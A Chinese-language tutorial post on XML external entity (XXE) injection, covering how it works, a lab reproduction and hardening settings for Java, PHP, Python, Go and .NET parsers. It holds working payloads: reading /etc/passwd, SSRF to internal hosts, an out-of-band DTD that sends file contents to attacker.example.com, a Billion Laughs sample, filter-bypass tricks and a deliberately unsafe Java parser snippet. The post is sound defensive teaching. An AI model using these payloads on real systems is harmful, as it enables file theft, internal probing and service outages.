这几年做安全测试,每次看到接口还在用XML交换数据,我都会下意识多看两眼依赖和解析方式。原因很简单:XML外部实体注入(XXE)这种老牌漏洞,原理不难,危害却不小,而且直到今天,不少线上系统仍然存在这类问题。上个月帮某团队的批量导入功能做安全评审,接口接收的是XML格式单据,代码里直接用了解析器工厂的默认配置,既没封禁DOCTYPE,也没关外部实体。我随手构造了一个不到20行的测试XML,就把服务器上的/etc/passwd读了出来。这类问题在业内并不少见,所以这篇内容我想把XXE从原理、攻击面、实战复现到防御配置完整梳理一遍,既适合刚接触Web安全的读者理解漏洞成因,也适合开发工程师和安全同学直接参考配置清单去加固自己的系统。
1. 先把这个漏洞看透:XXE的底层原理
1.1 XML文档里藏着一个“外部引用”能力
要理解XXE,得先从XML的文档结构说起。XML和HTML一样是标记语言,但XML更强调“数据描述”。它允许我们自定义标签,比如<user><name>张三</name></user>,本质上就是用一套结构化文本去传递数据。
问题出在XML里有一种东西叫DTD(Document Type Definition,文档类型定义),它可以在文档开头声明,用来定义标签结构、属性,以及实体。
实体在XML里有点像编程中的“变量”,声明以后可以在正文中通过&实体名;被引用。实体又分两种:
- 内部实体:值直接写在DTD里,比如
<!ENTITY name "张三"> - 外部实体:值不是写死的,而是通过
SYSTEM关键字指向一个外部资源,比如文件路径或者URL
外部实体本身就是为合法场景设计的,比如复用一段配置、引入一个公共文件。但问题在于:如果解析器在解引用实体时没有做任何限制,攻击者就可以把外部实体指向file:///etc/passwd、http://内网地址,甚至某个预期之外的协议地址。解析器一旦忠实地去读取并替换,攻击就发生了。
1.2 解析器的默认策略:信任一切还是怀疑一切?
很多人不理解:为什么解析器会老老实实地去读file:///etc/passwd?这不是傻吗?
关键在于“默认配置”。很久以前,最早的一批XML解析器为了追求易用性和功能完整性,把外部实体解析默认开启。这在当时不算什么问题,因为在早期互联网环境中,XML主要在企业内部系统、SOAP接口、配置文件中使用,数据源相对可信。但后来XML在Web应用里大量普及,数据源从“可信的配置文件”变成了“任何用户的输入”,默认开启外部实体就变成了一个巨大的攻击面。
所以XXE本质上不是XML格式的缺陷,而是解析器的信任边界问题:解析器不应该无条件信任文档声明的任何外部资源引用。
更准确地说,XXE和SSRF(服务端请求伪造)是同一类问题的不同表现。XML外部实体实际上就是一种服务端发起的资源加载行为,攻击者控制了加载的目标地址。这也是为什么XXE经常被直接用来做内网探测。
1.3 一个最基础的实体替换过程
先看一个最小化的攻击示例。假设后端接收XML并解析:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>解析流程是这样的:
- 解析器看到
<!DOCTYPE声明,进入DTD处理 - 看到
<!ENTITY xxe SYSTEM "file:///etc/passwd">,定义了一个外部实体 - 正文里遇到
&xxe;时,解析器尝试获取声明中的URI内容 - 如果系统文件可读且解析器权限足够,文件内容会替换实体引用,进入后续业务处理
- 如果业务代码把解析后的内容返回到前端,文件内容就直接泄露出来
这个示例里,实体声明和引用的写法非常直观,但实际问题常比这复杂:有些接口不直接返回XML解析后的内容,有些解析器对部分协议有限制,有些应用会过滤关键字。攻击者因此发展出了盲打、带外传输、混合编码等多种绕过技巧,后面会详细展开。
注意:在任何真实系统上做验证前,请先获得书面授权。安全测试的前提是授权,这条红线不能碰。
2. 攻击面远比想象中宽:常见利用方式与场景
2.1 文件读取:最经典的入口
文件读取是XXE最直观、最容易被理解的利用方式。攻击者最常读取的目标包括:
/etc/passwd:确认服务器OS用户信息/etc/hosts、/etc/resolv.conf:确认内网环境和网络配置- 应用源码、配置文件:寻找数据库密码、Token、密钥等敏感信息
- Spring Boot的
application.yml、Web项目的web.xml、数据库配置文件等
我遇到过一个案例,某系统通过XML接收订单数据,解析后再把订单编号返回给前端。攻击者把实体指向了应用自身的数据库配置文件,通过一次请求就把配置文件中的数据库账号密码捞了出来。虽然这个系统做了前端参数校验,却完全没有校验XML内容,等于在入口处开了一扇侧门。
文件读取能不能成功,取决于几个条件:一是解析器所在进程对目标文件是否有读取权限,二是解析结果是否能在响应中体现,三是文件内容是否被后续逻辑处理。如果结果不直接返回,就走盲打路线。
2.2 从XXE到SSRF:让服务器变成你的“跳板”
XXE的第二个常见用途是SSRF。攻击者把外部实体指向内网地址:
<!ENTITY xxe SYSTEM "http://192.168.1.10:8080/admin">这时解析器会代替攻击者去请求这个内网地址。虽然拿不到完整响应,但可以通过响应时间、报错信息、状态码差异来判断端口是否开放、服务是否存在。
这种利用方式在以下场景特别危险:
- 攻击者无法直接访问内网,只能通过公网接口进入
- 内网存在未授权访问的管理后台、Redis、MySQL等服务
- 云环境中的元数据服务地址如果可被请求,甚至可能进一步获取临时凭证
需要注意,XXE的SSRF和纯SSRF漏洞还不完全一样。纯SSRF一般依托URL参数,而XXE的URL隐藏在实体声明里,容易被业务日志遗漏,检测难度更大。而且如果接口有严格的白名单参数过滤,传统SSRF可能被挡住,但XML中的外部实体却可以绕过业务层的参数校验,直接到达解析器。
2.3 Blind XXE:没有回显时的“盲争”
很多情况下,XML解析后的内容不会直接返回给攻击者。比如接口返回固定JSON:“处理成功”,或者只返回某个业务字段。这时候攻击者会使用Blind XXE(盲XXE)技术,核心思路是带外数据外带。
常见做法是让解析器去请求攻击者控制的服务器地址,并把目标文件内容拼接在URL参数中:
- 攻击者在自己的服务器上放置一个恶意DTD文件
- 注入的XML声明外部参数实体,指向这个恶意DTD
- 恶意DTD中再定义实体,把目标文件内容拼接到一个带外请求URL中
- 解析器加载DTD时触发请求,攻击者服务器收到文件内容
更具体地说,攻击者的恶意DTD内容大致是:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>"> %eval; %exfil;当受害者解析器加载这个外部DTD时,会执行其中的实体定义,最终发起一个携带文件内容的HTTP请求。攻击者的服务器监听日志里便能看到被读取的内容。
除了HTTP协议,也有用FTP或者DNS协议外带数据的场景。比如某些环境禁止出方向的HTTP,但允许DNS查询,攻击者可以把文件名内容通过子域名前缀拼接发送到自己的DNS服务器上。这种外带方式不依赖HTTP回显,隐蔽性更强。
2.4 资源耗尽攻击:从几行XML到内存报警
还有一种不需要任何回显、不需要外带的利用方式:实体扩容攻击,也常被称为“Billion Laughs”攻击。
攻击者声明一系列嵌套实体,每个实体的值是对前一个实体的多次引用。例如:
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> ]> <root>&lol2;</root>这个例子里,lol2展开后相当于100个lol1,而每个lol1又相当于10个lol,最终展开量是10的多次方。如果继续叠加到lol3、lol4,最终文本规模会指数增长,解析器在展开实体引用时需要分配大量内存,轻则让当前请求超时卡死,重则直接导致应用内存耗尽、进程OOM。
这种攻击最麻烦的地方在于:不需要读取文件,不需要网络请求,只需要一次正常的请求体和解析动作,WAF很难从请求大小上判断恶意性,因为原始请求本身可以非常小。
3. 实战复现:从一个可控XML接口到读取服务器文件
3.1 准备本地模拟环境
为了说明整个链路,我搭一个最小化的模拟环境。假设有一个“用户信息导入”接口,接收XML格式的用户数据,解析后提取姓名和年龄并入库。后端用Java实现,编码时没有做任何DTD限制:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); Document doc = builder.parse(request.getInputStream()); String name = doc.getElementsByTagName("name").item(0).getTextContent();这是一个相当典型的“裸用”写法,在不少老项目里仍然能看到。后端接收POST /api/import,请求体是一个XML文档,正常请求长这样:
<?xml version="1.0" encoding="UTF-8"?> <user> <name>张三</name> <age>25</age> </user>响应会返回解析得到的姓名和年龄,用于客户端确认。
3.2 逐步构造请求,观察解析行为
第一次测试,我通常先发一个正常请求,确认接口行为和响应格式。然后把用户字段里的内容替换成XML实体:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]> <user> <name>&xxe;</name> <age>25</age> </user>这里我没读/etc/passwd,而是先读/etc/hosts,原因很现实:一方面hosts文件短小清晰,另一方面在很多演示系统里读取hosts的权限更宽松,便于确认链路通不通。
请求发出后,响应里果然出现了本机hosts文件内容。这说明解析器不仅允许外部实体,而且把文件内容填充到了name节点,业务代码再把它原样输出。
继续深入一步,把实体指向应用配置目录,尝试读取数据库配置文件。这一步关键在于判断应用运行目录和资源路径。我先读/etc/hosts确认操作系统类型,再读当前用户信息,进而推断应用部署位置。如果读到了配置文件,基本就等于拿到了数据库凭证。
这就是文件读取链路的完整过程:从探测到读取,再到提取关键信息。整个过程只需要一个没有被限制DTD的XML解析口子。
3.3 看似没洞的边界情况
有些系统在代码里会做简单的过滤,比如检查XML字符串里是否包含file://,但攻击者仍然可以通过多种方式绕过:
- 大小写混写:
File://、FILE:// - 使用不同协议:
php://filter/read=convert.base64-encode/resource=/etc/passwd(PHP环境) - 利用嵌套实体拼接关键字:把
file和://拆开声明,再组合引用 - 使用外部DTD间接加载,不在原始XML中直接暴露
file字样
我在实际测试中遇到过只过滤file://字符串的情况,用php://filter协议直接读到了源代码文件。所以判断一个系统“好像没洞”之前,最好先确认解析器类型和可用的协议范围。只看关键字过滤是很脆弱的,真正可靠的做法是封禁外部实体解析本身,而不是过滤某种特定的协议标识。
另外也要注意,很多现代框架封装了解析流程,开发者自己并没有直接调用解析器。例如一些文档上传功能内部可能先经过文件类型识别、再交给底层库解压或解析。这时攻击面的入口不一定是你想的那个接口,也可能是某个隐藏的依赖链路。
4. 防御实践:从代码到架构的完整清单
4.1 Java生态:三个常用解析器的安全配置
Java可以说是XXE高发区,因为历史包袱多,老代码多。不同解析器的防御配置写法不一样,但都围绕一个核心目标:不允许DOCTYPE,或者至少不允许外部实体解析。
DocumentBuilderFactory的标准做法:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);设置了这行以后,文档里一旦出现DOCTYPE声明,解析器会直接抛出异常,从而彻底封死实体解析这条路。SAXParserFactory和XMLInputFactory(StAX)也都有对应的特性开关:
// SAXParserFactory SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // StAX XMLInputFactory inputFactory = XMLInputFactory.newFactory(); inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); inputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);如果因为历史原因不能直接禁用DOCTYPE,退一步必须把外部通用实体和外部参数实体都关闭:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);但我的经验是:如果业务真的不需要DTD,直接采用“禁用DOCTYPE”的第一种方案最省心。它语义明确,排查问题也容易——一旦出现报错,文本里会明确写着DOCTYPE被禁止,而不会出现模棱两可的情况。
注意:仅靠
setExpandEntityReferences(false)这类配置仍然存在局限性,它不影响外部实体在网络层面的解析,真正根治还得从功能开关层面处理。
4.2 PHP和Python:两套配置要特别注意版本差异
PHP中,老版本的常见写法是:
libxml_disable_entity_loader(true);但这个函数在PHP 8.0以后已经被标记为弃用,直接调用会带来兼容性问题。更推荐的方案是使用流上下文或解析选项,比如:
$xml = simplexml_load_string($input, 'SimpleXMLElement', LIBXML_NONET);LIBXML_NONET可以禁止网络访问,但对本地文件读取的防护不完整。结合场景来说,如果接口根本不需要DTD,可以在解析前强制校验XML文档中不含DOCTYPE字符串,或者直接使用不解析实体引用的替代方案。批量数据交换如果必须用XML格式,建议在框架层统一封装安全解析函数,避免每个业务各自调解析器。
Python领域则有一个非常实用的库:defusedxml。它专门用来替换标准库中的XML解析组件,默认阻止实体引用、DTD和外部资源加载等危险特性。使用方式很简单:
from defusedxml import ElementTree tree = ElementTree.parse('input.xml')只需要把原本的xml.etree.ElementTree导入路径替换成defusedxml.ElementTree,大部分XXE风险就直接被阻断。对lxml这类底层能力更强的库,也要检查是否使用了不安全配置:
parser = etree.XMLParser(resolve_entities=False, no_network=True)resolve_entities=False是关键,它禁止解析器展开实体引用;no_network=True则是防止解析器访问网络资源。两个参数同时设置,才能有效收敛风险。
4.3 Go与.NET:默认安全项检查
Go的标准库encoding/xml对DTD和外部实体处理相对保守,它不支持完整的外部实体解析,所以默认情况下不容易直接触发XXE。但这不代表可以完全掉以轻心:一旦项目引入了第三方XML库,或者通过cgo调用libxml2,默认行为就取决于那个库了。建议在依赖引入时做个快速验证,构造一个包含外部实体的测试XML跑一跑,确认是否会被展开。
.NET方面,核心是控制XmlReaderSettings的DTD处理策略:
XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(inputStream, settings);如果使用XmlDocument加载XML,建议通过XmlReader配合上述设置加载,而不是直接调用LoadXml。历史版本的XmlDocument.LoadXml在解析DTD方面曾经相对宽松,显式设置最稳妥。
我把常见解析器的默认行为整理成一张表,方便对照:
| 环境 | 常见入口 | 默认是否解析外部实体 | 推荐加固动作 |
|---|---|---|---|
| Java DOM | DocumentBuilderFactory | 老版本默认开启 | 禁用DOCTYPE并关闭外部实体特性 |
| Java SAX | SAXParserFactory | 老版本默认开启 | 设置disallow-doctype-decl |
| Java StAX | XMLInputFactory | 视版本而定 | SUPPORT_DTD设为false |
| PHP | simplexml_load_string | 老版本默认开启 | LIBXML_NONET,或在解析前拦截DOCTYPE |
| Python | xml.etree.ElementTree | 默认不解析外部实体,但存在变数 | 统一使用defusedxml |
| Go | encoding/xml | 默认不支持外部实体 | 检查第三方库和libxml2绑定 |
| .NET | XmlDocument / XmlReader | 新版默认较安全,旧版不保证 | DtdProcessing设为Prohibit |
这只是一份速查表,实际环境中必须结合依赖版本和具体配置确认。最稳定的办法是在开发环境里写一条自动化用例,构造一个最小XXE Payload,跑一遍解析逻辑,用结果判断当前依赖是否存在风险。
4.4 攻击面的源头收敛
代码层面的配置很重要,但在架构层面也能大幅降低风险。
一个最简单的原则:能不用XML就不要用XML。JSON、Protobuf、MessagePack等格式在Web接口中完全可以替代XML传输。XML在复杂文档描述上有优势,但绝大多数业务接口传递的只是结构化数据,没必要引入DTD能力。即使确实需要使用XML,也应该在文档解析前明确禁用DTD,而不是依赖业务代码的临时判断。
第二点,警惕一切基于XML的文档格式。SVG、DOCX、XLSX、PDF中的某些组件,本质上都可能包含XML解析逻辑。比如用户上传一个SVG文件,如果应用直接对其解析并渲染,攻击者可以在SVG内嵌DOCTYPE实体。这类文件上传功能是XXE的高发地带,很多防御方案只覆盖了普通接口,却忘记审计文件上传链路。
第三点,解析XML的服务器组件应该运行在最低权限环境中。即使攻击者成功读取文件,也只能读取该进程权限范围内的内容。如果解析进程以普通用户运行,至少读不到完整的内存镜像、其他用户的私密文件和根目录级密钥。
第四点,流量层和安全组件可以作为兜底。WAF或网关对明显恶意的XML请求做拦截是有意义的,但不要把它当成唯一防线。攻击者可以编码、拆分、利用外部DTD绕过简单的特征匹配,只有解析器自身配置正确,才能形成有效闭环。
5. 实测中的常见问题和排查技巧实录
5.1 配置了防护仍然中招的典型原因
我在评审过程中见过不少系统,写了防御代码但还是被利用。原因大致有这几类:
- 版本升级或重构时,安全配置被悄悄覆盖。比如从XML解析封装类切换到另一个解析库,只拷贝了业务逻辑,漏掉了安全特性配置。
- 解析器被多层封装,底层依赖的默认行为覆盖了上层设置。业务代码调用的不是直接解析器,而是第三方工具包,工具包内部又重新创建了解析器实例。
- 只关闭了外部通用实体,没有关闭外部参数实体。参数实体在DTD内部声明和引用,攻击路径和普通实体不完全一样,容易出现防护盲区。
- 在解析前使用字符串替换过滤关键字,但过滤不彻底。比如只过滤了
SYSTEM,但攻击者用外部DTD间接加载,原始XML里根本没有SYSTEM字样。
排查时我一般先确认完整调用链:从接口入口到XML解析,中间经过了哪些工具类、哪些依赖库。然后在工具类的初始化代码里搜索解析器工厂、解析器构造函数的调用,逐项检查安全特性是否生效。
5.2 快速排查口诀和验证方法
我给自己总结了一句排查口诀:“一探、二查、三封、四验”。
一探,是用正常XML请求确认接口行为和响应结构。二查,是查看依赖版本、解析器类型和配置位置,判断默认策略。三封,是针对解析器设置禁用DTD或禁用外部实体的特性。四验,是重新发送包含外部实体的测试XML,确认请求被拒绝或实体未被展开。
验证时我用一个标准的探针XML,而不是直接读敏感文件:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE probe [ <!ENTITY xxe SYSTEM "http://127.0.0.1:9999/probe"> ]> <root>&xxe;</root>这个探针的好处是不会读取真实敏感文件,只在本地监听端口上观察是否有请求到达。如果监听端口收到了请求,说明外部实体确实被解析;如果没有收到,基本可以确认外部实体解析已被阻止。用这种方式做验证,既安全又清晰,不会在测试过程中留下读取系统文件的额外动作。
我把常见的排查问题整理成速查表:
| 现象 | 可能原因 | 建议动作 |
|---|---|---|
| 请求带DOCTYPE直接报错 | 已禁用DOCTYPE | 符合预期,无需处理 |
| 请求带DOCTYPE正常解析 | 未禁用DTD | 补解析器配置 |
| 本地监听端口收到探针请求 | 外部实体解析开启 | 按语言关闭外部实体 |
| 响应中出现文件内容 | 外部实体开启且有回显 | 立即修复并检查日志泄露面 |
| 请求超时或内存增长 | 实体扩容攻击 | 禁用DTD并限制请求体大小 |
5.3 把防御嵌入开发生命周期
最后聊一点比较个人的体会。XXE这类经典漏洞,单纯靠一次修复是不够的,因为项目会迭代、依赖会升级、人员会变动。更有效的方式是把它固化到开发流程里:
- 在代码模板中内置安全解析器封装,新项目默认使用安全版本
- 在CI流水线里加入针对XML解析链路的自动化安全测试
- 文档上传类功能必须走独立的XML解析审计流程
- 每次依赖升级后,重新跑一遍XXE探针测试
我在几次实际项目里发现,很多同学并非不知道这类漏洞,而是项目启动时根本没想到接口会接收XML,等到中间某层框架自动解析了用户输入,就已经晚了。所以从源头约定接口数据格式,比在每一个解析点补配置更有效。如果团队能形成“默认安全”的共识,再把这条共识落成代码模板和自动化检查,XXE在迭代中复发的概率会小很多。这也是这几年我做安全建设最深的体会:与其反复修补单点问题,不如把正确的默认姿势固化到流程里,让不小心犯错变得困难。